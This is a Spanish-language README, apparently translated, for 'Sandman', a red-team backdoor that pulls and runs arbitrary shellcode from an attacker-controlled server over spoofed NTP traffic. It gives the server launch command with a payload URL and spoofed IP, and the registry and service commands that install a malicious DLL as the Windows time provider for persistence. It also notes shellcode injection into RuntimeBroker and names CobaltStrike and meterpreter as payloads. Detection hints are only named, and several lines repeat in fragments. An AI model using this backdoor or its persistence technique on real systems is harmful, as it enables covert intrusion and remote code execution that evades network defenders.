
Backdoor basado en NTP para redes endurecidas, que entrega y ejecuta shellcode arbitrario a través de tráfico NTP falsificado con persistencia opcional como proveedor de tiempo de Windows.
Sandman es un backdoor diseñado para funcionar en redes endurecidas durante ejercicios de red team.
Sandman funciona como un stager y aprovecha NTP (un protocolo para sincronizar hora y fecha) para obtener y ejecutar un shellcode arbitrario desde un servidor predefinido.
Dado que NTP es un protocolo que muchos defensores pasan por alto, lo que resulta en una amplia accesibilidad en la red.

Ejecutar en máquinas Windows / *nix:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"
Adaptador de red: El adaptador en el que deseas que el servidor escuche (por ejemplo, Ethernet en Windows, eth0 en *nix).
URL del payload: La URL de tu shellcode, podría ser tu agente (por ejemplo, CobaltStrike o meterpreter) u otro stager.
IP a suplantar: Si deseas suplantar una dirección IP legítima (por ejemplo, la dirección IP de time.microsoft.com).
Para empezar, puedes compilar SandmanBackdoor como se menciona más abajo, ya que es un único ejecutable ligero en C# que puedes ejecutar mediante ExecuteAssembly, ejecutarlo como proveedor NTP o simplemente ejecutarlo/inyectarlo.
Para usarlo, deberás seguir unos sencillos pasos:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
sc stop w32time
sc start w32time
NOTA: Asegúrate de compilar con la opción x64 y no con la opción Any CPU.
Obtener y ejecutar un payload arbitrario desde un servidor controlado por un atacante.
Puede funcionar en redes endurecidas ya que NTP suele estar permitido en el cortafuegos.
Suplantar un servidor NTP legítimo mediante suplantación de IP.
Python 3.9
Los requisitos se especifican en el archivo requirements.
Para compilar el backdoor usé Visual Studio 2022, pero como se menciona en la sección de uso se puede compilar tanto con VS2022 como con CSC.
Puedes compilarlo usando USE_SHELLCODE y el shellcode de Orca, o sin USE_SHELLCODE para usar WebClient.
Para compilar el backdoor usé Visual Studio 2022, también necesitarás instalar DllExport (mediante Nuget o de cualquier otra forma) para compilarlo.
Puedes compilarlo usando USE_SHELLCODE y el shellcode de Orca, o sin USE_SHELLCODE para usar WebClient.
Se inyecta un shellcode en RuntimeBroker.
La comunicación NTP sospechosa comienza con un encabezado mágico conocido.
Regla YARA.
Orca por el shellcode.
Agradecimiento especial a Tim McGuffin por la idea del proveedor de tiempo.
Gracias a los que ya han contribuido y aceptaré con gusto contribuciones, ¡haz un pull request y lo revisaré!